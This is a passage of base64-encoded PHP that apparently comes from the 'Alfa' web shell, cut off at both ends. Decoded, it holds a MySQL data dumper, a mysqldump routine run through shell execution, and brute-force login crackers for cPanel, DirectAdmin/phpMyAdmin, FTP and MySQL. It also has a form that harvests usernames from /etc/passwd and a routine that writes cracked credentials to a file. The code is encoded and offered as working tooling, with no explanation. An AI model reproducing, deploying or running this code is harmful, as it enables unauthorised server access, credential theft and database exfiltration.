XJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9ob3N0IDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX2hvc3QnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICRob3N0LCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfdXNlcm5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfdXNlcm5hbWUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICR1c2VybmFtZSwgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQzJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX3Bhc3N3b3JkIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX3Bhc3N3b3JkJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJHBhc3N3b3JkLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfbmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9uYW1lJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAkZGJuYW1lLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDUnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnT3V0cHV0IFBhdGg6ICcsICdpbnB1dE5hbWUnID0+ICdkZmlsZScsICdpbnB1dFZhbHVlJyA9PiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSksICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICI8YnI+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnIG5hbWU9J1N1Ym1pdCc+PC9wPjwvZm9ybT48L2NlbnRlcj4iOwokZGIgPSBmYWxzZTsKaWYoIWVtcHR5KCRkYm5hbWUpKXsKCSRkYiA9IEBteXNxbGlfY29ubmVjdCgkaG9zdCwgJHVzZXJuYW1lLCAkcGFzc3dvcmQsICRkYm5hbWUpOwp9CmlmKGNvdW50KCRzZWxlY3RlZF9kYXRhKSA+IDApewoJaWYoJGRiKXsKCQlpZighaXNfZGlyKCRkZmlsZSkpewoJCQkkZGZpbGUgPSAkR0xPQkFMU1snY3dkJ107CgkJfQoJCSR0YmxzID0gIiI7CgkJJGV4dCA9ICcudHh0JzsKCQlpZigkZGVsaW1pdGVyID09ICdqc29uJyl7CgkJCSRleHQgPSAnLmpzb24nOwoJCX0KCQlmb3JlYWNoICgkc2VsZWN0ZWRfZGF0YSBhcyAkdGJsID0+ICRjb2xzKSB7CgkJCSR0YWJsZXNfcXVlcnkgPSBteXNxbGlfcXVlcnkoJGRiLCAiU0VMRUNUICIuaW1wbG9kZSgnLCcsICRjb2xzKS4iIEZST00gJHRibCIpOwoJCQkkZmlsZV9uYW1lID0gJGRmaWxlLicvJy4kZGJuYW1lLicuJy4kdGJsLiRleHQ7CgkJCSRmcCA9IGZvcGVuKCRmaWxlX25hbWUsICJ3Iik7CgkJCSRkYXRhID0gYXJyYXkoKTsKCQkJd2hpbGUoJHJvdyA9IG15c3FsaV9mZXRjaF9hcnJheSgkdGFibGVzX3F1ZXJ5LCBNWVNRTElfQVNTT0MpKXsKCQkJCWlmKCRkZWxpbWl0ZXIgPT0gImpzb24iKXsKCQkJCQkkY29sX2FyciA9IGFycmF5KCk7CgkJCQkJZm9yZWFjaCAoJHJvdyBhcyAka2V5ID0+ICR2YWx1ZSkgewoJCQkJCQlpZihlbXB0eSgkdmFsdWUpKXsKCQkJCQkJCSR2YWx1ZSA9ICJbZW1wdHldIjsKCQkJCQkJfQoJCQkJCQkgJGNvbF9hcnJbJGtleV0gPSAkdmFsdWU7CgkJCQkJfQoJCQkJCSRkYXRhWyR0YmxdW10gPSAkY29sX2FycjsKCQkJCX1lbHNlewoJCQkJCSRkYXRhID0gIiI7CgkJCQkJZm9yZWFjaCAoJHJvdyBhcyAka2V5ID0+ICR2YWx1ZSkgewoJCQkJCQlpZihlbXB0eSgkdmFsdWUpKXsKCQkJCQkJCSR2YWx1ZSA9ICJbZW1wdHldIjsKCQkJCQkJfQoJCQkJCQkkZGF0YSAuPSAkdmFsdWUgLiAkZGVsaW1pdGVyOwoJCQkJCX0KCQkJCQlmd3JpdGUoJGZwLCAkZGF0YSAuIlxuIik7CgkJCQl9CgkJCX0KCQkJaWYoJGRlbGltaXRlciA9PSAianNvbiIpewoJCQkJZndyaXRlKCRmcCwganNvbl9lbmNvZGUoJGRhdGEpKTsKCQkJfQoJCQlmY2xvc2UoJGZwKTsKCQkJJHRibHMgLj0gIkRvbmUgfn5+PiAiLiRmaWxlX25hbWUuIjxicj4iOwoJCX0KCQllY2hvIF9fcHJlKCk7CgkJZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj0nIzAwRkYwMCc+Ii4kdGJscy4iPC9mb250PjwvY2VudGVyPiI7Cgl9Cn0KaWYoIWVtcHR5KCRkYm5hbWUpICYmIGNvdW50KCRzZWxlY3RlZF9kYXRhKSA9PSAwKXsKLy9lY2hvIF9fcHJlKCk7CmlmKCRkYil7CgllY2hvKCI8aHI+PGRpdiBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luLWJvdHRvbTo1cHg7Zm9udC13ZWlnaHQ6Ym9sZGVyOyc+PHNwYW4+WyBTZWxlY3QgeW91ciB0YWJsZXMgYW5kIGNvbHVtbnMgZm9yIGR1bXBpbmcgZGF0YSBdPC9zcGFuPjwvZGl2PiIpOwoJZWNobygiPGRpdiBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48c3Bhbj5PdXRwdXQgVHlwZTogPC9zcGFuPjxzZWxlY3QgaWQ9J2R1bXBlci1kZWxpbWl0ZXItdHlwZScgb25jaGFuZ2U9J2NvbER1bXBsZXJTZWxlY3RUeXBlKHRoaXMpOycgbmFtZT0nb3V0cHV0X3R5cGUnPjxvcHRpb24gdmFsdWU9J2RlbGltaXRlcicgc2VsZWN0ZWQ+ZGVsaW1pdGVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nanNvbic+anNvbjwvb3B0aW9uPjwvc2VsZWN0PjxkaXYgaWQ9J2NvbGR1bXBlci1kZWxpbWl0ZXItaW5wdXQnIHN0eWxlPSdkaXNwbGF5OmlubGluZTsnPjxzcGFuPiBEZWxpbWl0ZXI6IDwvc3Bhbj48aW5wdXQgaWQ9J2R1bXBlci1kZWxpbWl0ZXItaW5wdXQnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIHR5cGU9J3RleHQnIG5hbWU9J2RlbGltaXRlcicgcGxhY2Vob2xkZXI9J2VnOiAsJz48L2Rpdj48L2Rpdj4iKTsKCSRkYXRhID0gYXJyYXkoKTsKCSR0YWJsZXNfcXVlcnkgPSBteXNxbGlfcXVlcnkoJGRiLCAiU0VMRUNUIHRhYmxlX25hbWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYSA9IGRhdGFiYXNlKCk7Iik7Cgl3aGlsZSgkcm93ID0gbXlzcWxpX2ZldGNoX2FycmF5KCR0YWJsZXNfcXVlcnksIE1ZU1FMSV9BU1NPQykpewoJCSRkYXRhWyRyb3dbInRhYmxlX25hbWUiXV0gPSBhcnJheSgpOwoJCSR0YWJsZV9jb3VudF9xID0gbXlzcWxpX3F1ZXJ5KCRkYiwgIlNFTEVDVCBjb3VudCgqKSBGUk9NIGAiLiRyb3dbJ3RhYmxlX25hbWUnXS4iYCIpOwoJCSR0YWJsZV9jb3VudCA9IG15c3FsaV9mZXRjaF9yb3coJHRhYmxlX2NvdW50X3EpOwoJCSRkYXRhWyRyb3dbInRhYmxlX25hbWUiXV1bImRhdGFfY291bnQiXSA9ICR0YWJsZV9jb3VudFswXTsKCQkkY29sdW1uc19xdWVyeSA9IG15c3FsaV9xdWVyeSgkZGIsICJTRUxFQ1QgY29sdW1uX25hbWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyBXSEVSRSB0YWJsZV9uYW1lID0gJyIuJHJvd1sndGFibGVfbmFtZSddLiInIik7CgkJd2hpbGUoJHJvdzIgPSBteXNxbGlfZmV0Y2hfYXJyYXkoJGNvbHVtbnNfcXVlcnksIE1ZU1FMSV9BU1NPQykpewoJCQkkZGF0YVskcm93WyJ0YWJsZV9uYW1lIl1dWyJjb2xzIl1bXSA9ICRyb3cyWyJjb2x1bW5fbmFtZSJdOwoJCX0KCX0KCW15c3FsaV9jbG9zZSgkZGIpOwoKCWVjaG8gJzx1bCBpZD0ibXlVTCI+JzsKCWZvcmVhY2goJGRhdGEgYXMgJHRibCA9PiAkY29scyl7CgkgICAgZWNobyAnPGxpPjxzcGFuIHN0eWxlPSJjb2xvcjojMDBGRjAwOyIgY2xhc3M9ImJveCI+Jy4kdGJsLicgKCcuJGNvbHNbImRhdGFfY291bnQiXS4nKTwvc3Bhbj48dWwgY2xhc3M9Im5lc3RlZCI+JzsKCSAgICBmb3JlYWNoKCRjb2xzWyJjb2xzIl0gYXMgJGNvbCl7CgkgICAgICAgIGVjaG8gJzxsaSB0Ymw9IicuJHRibC4nIj48c3BhbiBzdHlsZT0iY29sb3I6IzAwRkYwMDsiIHRibD0iJy4kdGJsLiciIGNsYXNzPSJib3ggc3ViLWJveCI+JyAuICRjb2wgLiAnPC9zcGFuPjwvbGk+JzsKCSAgICB9CgkgICAgZWNobyAnPC91bD48L2xpPic7Cgl9CgllY2hvICc8L3VsPic7Cn1lbHNlewplY2hvKCc8Y2VudGVyPm15c3FsaV9jb25uZWN0IDogRXJyb3IhPC9jZW50ZXI+Jyk7Cn0KfQplY2hvKCc8L2Rpdj4nKTsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmFEdW1wZXIoKXsKYWxmYWhlYWQoKTsKZWNobygnPGRpdiBjbGFzcz0iaGVhZGVyIj4nKTsKQWxmYU51bSg4LDksMTApOwplY2hvICI8Y2VudGVyPjxicj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBNeXNxbCBEYXRhYmFzZSBEdW1wZXIgfDwvZGl2Pjxicj48YnI+Ii5nZXRDb25maWdIdG1sKCdhbGwnKS4iPGZvcm0gbWV0aG9kPSdwb3N0JyBvbnN1Ym1pdD1cImcoJ2R1bXBlcicsbnVsbCxudWxsLG51bGwsdGhpcy5kYl91c2VybmFtZS52YWx1ZSx0aGlzLmRiX3Bhc3N3b3JkLnZhbHVlLHRoaXMuZGJfbmFtZS52YWx1ZSx0aGlzLmRmaWxlLnZhbHVlLHRoaXMuZGJfaG9zdC52YWx1ZSk7IHJldHVybiBmYWxzZTtcIj48cD4iOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX2hvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfaG9zdCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl91c2VybmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl91c2VybmFtZScsICdpZCcgPT4gJ2RiX3VzZXInLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9wYXNzd29yZCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9wYXNzd29yZCcsICdpZCcgPT4gJ2RiX3B3JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfbmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9uYW1lJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0R1bXAgUGF0aDogJywgJ2lucHV0TmFtZScgPT4gJ2RmaWxlJywgJ2lucHV0VmFsdWUnID0+IGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nYWxmYS5zcWwnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAiPGJyPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJyBuYW1lPSdTdWJtaXQnPjwvcD48L2Zvcm0+PC9jZW50ZXI+IjsKJHVzZXJuYW1lID0gKCRfUE9TVFsnYWxmYTMnXSk7CiRwYXNzd29yZCA9ICgkX1BPU1RbJ2FsZmE0J10pOwokZGJuYW1lID0gKCRfUE9TVFsnYWxmYTUnXSk7CiRkZmlsZSA9ICgkX1BPU1RbJ2FsZmE2J10pOwokaG9zdCA9ICgkX1BPU1RbJ2FsZmE3J10pOwppZighZW1wdHkoJGRibmFtZSkpewplY2hvIF9fcHJlKCk7CiRtc2cgPSAiPGNlbnRlcj5DaGVjayB0aGlzIDogIDxmb250IGNvbG9yPSdyZWQnPiIuJGRmaWxlLiI8L2ZvbnQ+PC9jZW50ZXI+IjsKaWYoQG15c3FsaV9jb25uZWN0KCRob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRibmFtZSkpewppZihzdHJsZW4oYWxmYUV4KCJteXNxbGR1bXAiKSk+MCl7CmFsZmFFeCgibXlzcWxkdW1wIC0tc2luZ2xlLXRyYW5zYWN0aW9uIC0taG9zdD1cIiRob3N0XCIgLS11c2VyPVwiJHVzZXJuYW1lXCIgLS1wYXNzd29yZD1cIiRwYXNzd29yZFwiICRkYm5hbWUgPiAnIi5hZGRzbGFzaGVzKCRkZmlsZSkuIiciKTsKZWNobygkbXNnKTsKfWVsc2V7Cl9fYWxlcnQoIkVycm9yLi4uISIpOwp9Cn1lbHNlewplY2hvKCc8Y2VudGVyPm15c3FsaV9jb25uZWN0IDogRXJyb3IhPC9jZW50ZXI+Jyk7Cn0KfQplY2hvKCc8L2Rpdj4nKTsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIEFsZmFfRGlyZWN0QWRtaW5fQ3JhY2tlcigkaW5mbyl7CmlmKCEkaW5mb1snbXlzcWwnXSkKJHVybCA9ICRpbmZvWydwcm90b2NvbCddLiRpbmZvWyd0YXJnZXQnXS4nOicuJGluZm9bJ3BvcnQnXS4nL0NNRF9MT0dJTic7CmVsc2UgJHVybCA9ICRpbmZvWydwcm90b2NvbCddLiRpbmZvWyd0YXJnZXQnXS4nL3BocG15YWRtaW4nOwokY3VybCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVNFUkFHRU5ULCdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjI7IFdPVzY0OyBydjoxNy4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzE3LjAnKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsMCk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULDApOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IRUFERVIsMCk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCR1cmwpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VU0VSUFdELCAkaW5mb1sndXNlcm5hbWUnXS4nOicuJGluZm9bJ3Bhc3N3b3JkJ10pOwppZigkaW5mb1snbXlzcWwnXSljdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IVFRQQVVUSCwgQ1VSTEFVVEhfQU5ZKTsKJHJlc3VsdCA9IEBjdXJsX2V4ZWMoJGN1cmwpOwokY3VybF9lcnJubyA9IGN1cmxfZXJybm8oJGN1cmwpOwokY3VybF9lcnJvciA9IGN1cmxfZXJyb3IoJGN1cmwpOwppZiAoJGN1cmxfZXJybm8gPiAwKSB7ZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+RXJyb3I6ICRjdXJsX2Vycm9yPC9mb250Pjxicj4iO30KZWxzZWlmKHByZWdfbWF0Y2goJy9DTURfRklMRV9NQU5BR0VSfGZyYW1lc2V0L2knLCRyZXN1bHQpKXsKZWNobyAnVXNlck5hbWU6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3VzZXJuYW1lJ10uJzwvZm9udD4gUGFzc1dvcmQ6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3Bhc3N3b3JkJ10uJzwvZm9udD48Zm9udCBjb2xvcj0iZ3JlZW4iPiAgTG9naW4gU3VjY2Vzcy4uLi48L2ZvbnQ+PGJyPic7CiRpbmZvWyd0YXJnZXQnXSA9ICR1cmw7CkNyYWNrZXJSZXN1YWx0KCRpbmZvKTsKfQpjdXJsX2Nsb3NlKCRjdXJsKTsKfQpmdW5jdGlvbiBBbGZhX0NQX0NyYWNrZXIoJGluZm8pewokdXJsID0gJGluZm9bJ3Byb3RvY29sJ10uJGluZm9bJ3RhcmdldCddLic6Jy4kaW5mb1sncG9ydCddOwokY3VybCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVNFUkFHRU5ULCdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjI7IFdPVzY0OyBydjoxNy4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzE3LjAnKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsMCk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULDApOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IRUFERVIsMCk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IVFRQSEVBREVSLCBhcnJheSgiQXV0aG9yaXphdGlvbjogQmFzaWMgIiAuIF9fWlc1amIyUmxjZygkaW5mb1sndXNlcm5hbWUnXS4iOiIuJGluZm9bJ3Bhc3N3b3JkJ10pIC4gIlxuXHIiKSk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VSTCwgJHVybCk7CiRyZXN1bHQgPSBAY3VybF9leGVjKCRjdXJsKTsKJGN1cmxfZXJybm8gPSBjdXJsX2Vycm5vKCRjdXJsKTsKJGN1cmxfZXJyb3IgPSBjdXJsX2Vycm9yKCRjdXJsKTsKaWYgKCRjdXJsX2Vycm5vID4gMCkge2VjaG8gIjxmb250IGNvbG9yPSdyZWQnPkVycm9yOiAkY3VybF9lcnJvcjwvZm9udD48YnI+Ijt9CmVsc2VpZihwcmVnX21hdGNoKCcvZmlsZW1hbmFnZXIvaScsJHJlc3VsdCkpewplY2hvICdVc2VyTmFtZTogPGZvbnQgY29sb3I9InJlZCI+Jy4kaW5mb1sndXNlcm5hbWUnXS4nPC9mb250PiBQYXNzV29yZDogPGZvbnQgY29sb3I9InJlZCI+Jy4kaW5mb1sncGFzc3dvcmQnXS4nPC9mb250Pjxmb250IGNvbG9yPSJncmVlbiI+ICBMb2dpbiBTdWNjZXNzLi4uLjwvZm9udD48YnI+JzsKJGluZm9bJ3RhcmdldCddID0gJHVybDsKQ3JhY2tlclJlc3VhbHQoJGluZm8pOwp9CmN1cmxfY2xvc2UoJGN1cmwpOwp9CmZ1bmN0aW9uIEFsZmFfRlRQX0NyYWNrZXIoJGluZm8pewokdXJsID0gJGluZm9bJ3Byb3RvY29sJ10uJGluZm9bJ3RhcmdldCddOwokY3VybCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VUkwsICR1cmwpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VU0VSQUdFTlQsJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMjsgV09XNjQ7IHJ2OjE3LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMTcuMCcpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VTRVJQV0QsICIiLiRpbmZvWyd1c2VybmFtZSddLiI6Ii4kaW5mb1sncGFzc3dvcmQnXS4iIik7CiRyZXN1bHQgPSBAY3VybF9leGVjKCRjdXJsKTsKJGN1cmxfZXJybm8gPSBjdXJsX2Vycm5vKCRjdXJsKTsKJGN1cmxfZXJyb3IgPSBjdXJsX2Vycm9yKCRjdXJsKTsKaWYgKCRjdXJsX2Vycm5vID4gMCkge2VjaG8gIjxmb250IGNvbG9yPSdyZWQnPkVycm9yOiAkY3VybF9lcnJvcjwvZm9udD48YnI+Ijt9CmVsc2VpZihwcmVnX21hdGNoKCcvKFxkKyk6KFxkKykvaScsJHJlc3VsdCkpewplY2hvICdVc2VyTmFtZTogPGZvbnQgY29sb3I9InJlZCI+Jy4kaW5mb1sndXNlcm5hbWUnXS4nPC9mb250PiBQYXNzV29yZDogPGZvbnQgY29sb3I9InJlZCI+Jy4kaW5mb1sncGFzc3dvcmQnXS4nPC9mb250Pjxmb250IGNvbG9yPSJncmVlbiI+ICBMb2dpbiBTdWNjZXNzLi4uLjwvZm9udD48YnI+JzsKJGluZm9bJ3RhcmdldCddID0gJHVybDsKQ3JhY2tlclJlc3VhbHQoJGluZm8pOwp9CmN1cmxfY2xvc2UoJGN1cmwpOwp9CmZ1bmN0aW9uIEFsZmFfTXlzcWxfQ3JhY2tlcigkaW5mbyl7CmlmKEBteXNxbGlfY29ubmVjdCgkaW5mb1sndGFyZ2V0J10uJzonLiRpbmZvWydwb3J0J10sJGluZm9bJ3VzZXJuYW1lJ10sJGluZm9bJ3Bhc3N3b3JkJ10pKXsKQ3JhY2tlclJlc3VhbHQoJGluZm8pOwplY2hvICdVc2VyTmFtZTogPGZvbnQgY29sb3I9InJlZCI+Jy4kaW5mb1sndXNlcm5hbWUnXS4nPC9mb250PiBQYXNzV29yZDogPGZvbnQgY29sb3I9InJlZCI+Jy4kaW5mb1sncGFzc3dvcmQnXS4nPC9mb250Pjxmb250IGNvbG9yPSJncmVlbiI+ICBMb2dpbiBTdWNjZXNzLi4uLjwvZm9udD48YnI+JzsKfQp9CmZ1bmN0aW9uIEFsZmFfRlRQQygkaW5mbyl7CmlmKCRjb249QGZ0cF9jb25uZWN0KCRpbmZvWyd0YXJnZXQnXSwkaW5mb1sncG9ydCddKSl7CmlmKCRjb24pewokbG9naW49QGZ0cF9sb2dpbigkY29uLCRpbmZvWyd1c2VybmFtZSddLCRpbmZvWydwYXNzd29yZCddKTsKaWYoJGxvZ2luKXtDcmFja2VyUmVzdWFsdCgkaW5mbyk7fX19CkBmdHBfY2xvc2UoJGNvbik7Cn0KZnVuY3Rpb24gQ3JhY2tlclJlc3VhbHQoJGluZm8pewokcmVzID0gJGluZm9bJ3RhcmdldCddLicgPT4gJy4kaW5mb1sndXNlcm5hbWUnXS4iOiIuJGluZm9bJ3Bhc3N3b3JkJ10uIlxuIiA7CiRjID0gQGZvcGVuKCRpbmZvWydmY3JhY2snXSwnYSsnKTsKQGZ3cml0ZSgkYywgJHJlcyk7CkBmY2xvc2UoJGMpOwp9CmZ1bmN0aW9uIEFsZmFfQ2FsbF9GdW5jdGlvbl9DcmFja2VyKCRtZXRob2QsJGluZm8pewpzd2l0Y2goJG1ldGhvZCl7Y2FzZSAnY3AnOnJldHVybiBBbGZhX0NQX0NyYWNrZXIoJGluZm8pO2JyZWFrO2Nhc2UgJ2RpcmVjdCc6IGNhc2UgJ3BocG15YWRtaW4nOnJldHVybiBBbGZhX0RpcmVjdEFkbWluX0NyYWNrZXIoJGluZm8pO2JyZWFrO2Nhc2UgJ2Z0cCc6cmV0dXJuIEFsZmFfRlRQX0NyYWNrZXIoJGluZm8pO2JyZWFrO2Nhc2UgJ215c3FsJzpyZXR1cm4gQWxmYV9NeXNxbF9DcmFja2VyKCRpbmZvKTticmVhaztjYXNlICdteXNxbCc6cmV0dXJuIEFsZmFfRlRQQygkaW5mbyk7YnJlYWs7fQp9CmZ1bmN0aW9uIGFsZmFDcmFja2VycygpewphbGZhaGVhZCgpOwpBbGZhTnVtKDksMTApOwplY2hvICc8ZGl2IGNsYXNzPSJoZWFkZXIiPjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEJydXRlIEZvcmNlciB8PC9kaXY+PGJyPjxicj48Zm9ybSBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJnKFwnQ3JhY2tlcnNcJyxudWxsLHRoaXMudGFyZ2V0LnZhbHVlLHRoaXMucG9ydC52YWx1ZSx0aGlzLnVzZXJuYW1lcy52YWx1ZSx0aGlzLnBhc3N3b3Jkcy52YWx1ZSx0aGlzLmZjcmFjay52YWx1ZSxcJ3N0YXJ0XCcsdGhpcy5wcm90b2NvbC52YWx1ZSx0aGlzLmxvZ2lucGFuZWwudmFsdWUpO3JldHVybiBmYWxzZTsiPjxkaXYgY2xhc3M9InR4dGZvbnQiPkxvZ2luIFBhZ2U6IDxzZWxlY3Qgb25jbGljaz0iZGlzX2lucHV0KHRoaXMudmFsdWUpOyIgbmFtZT0ibG9naW5wYW5lbCI+JzsKZm9yZWFjaChhcnJheSgnY3AnPT4nQ3BhbmVsJywnZGlyZWN0Jz0+J0RpcmVjdEFkbWluJywnZnRwJz0+J0ZUUCcsJ3BocG15YWRtaW4nPT4nUGhwTXlBZG1pbltEaXJlY3RBZG1pbl0nLCdteXNxbCc9PidteXNxbF9jb25uZWN0KCknLCdmdHBjJz0+J2Z0cF9jb25uZWN0KCknKSBhcyAka2V5PT4kdmFsKWVjaG8oJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIj4nLiR2YWwuJzwvb3B0aW9uPicpOwplY2hvICc8L3NlbGVjdD4gUHJvdG9jb2w6IDxzZWxlY3QgaWQ9InByb3RvY29sIiBuYW1lPSJwcm90b2NvbCI+JzsKZm9yZWFjaChhcnJheSgnaHR0cHM6Ly8nLCdodHRwOi8vJywnZnRwOi8vJykgYXMgJHZhbCllY2hvKCc8b3B0aW9uIHZhbHVlPSInLiR2YWwuJyI+Jy4kdmFsLic8L29wdGlvbj4nKTsKZWNobyAnPC9zZWxlY3Q+IFdlYnNpdGUvaXAgQWRkcmVzczogPGlucHV0IGlkPSJ0YXJnZXQiIHR5cGU9InRleHQiIG5hbWU9InRhcmdldCIgdmFsdWU9ImxvY2FsaG9zdCI+ClBvcnQ6IDxpbnB1dCBpZD0icG9ydCIgdHlwZT0idGV4dCIgbmFtZT0icG9ydCIgdmFsdWU9IjIwODMiPgo8dGFibGUgd2lkdGg9IjMwJSI+PHRkIGFsaWduPSJjZW50ZXIiPlVzZXJzIExpc3Q8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIj5QYXNzd29yZHM8L3RkPjwvdGFibGU+Cjx0ZXh0YXJlYSBwbGFjZWhvbGRlcj0iVXNlcnMiIHJvd3M9IjIwIiBjb2xzPSIyNSIgbmFtZT0idXNlcm5hbWVzIj4nLigkR0xPQkFMU1snc3lzJ109PSd1bml4Jz9hbGZhRXgoImN1dCAtZDogLWYxIC9ldGMvcGFzc3dkIik6IiIpLic8L3RleHRhcmVhPgombmJzcCA8dGV4dGFyZWEgcGxhY2Vob2xkZXI9IlBhc3N3b3JkcyIgcm93cz0iMjAiIGNvbHM9IjI1IiBuYW1lPSJwYXNzd29yZHMiPjwvdGV4dGFyZWE+PGJyPjxicj4KU2F2ZSBSZXN1bHQgSW50byBGaWxlIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmY3JhY2siIHZhbHVlPSJjcmFja2VkLnR4dCI+CjxwPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNyYWNraW5nIiB2YWx1ZT0iICIgLz48L2Rpdj48L2Zvcm0+PC9wPjxjZW50ZXI+JzsKJHRhcmdldCA9IHN0cl9yZXBsYWNlKGFycmF5KCdodHRwczovLycsJ2h0dHA6Ly8nLCdmdHA6Ly8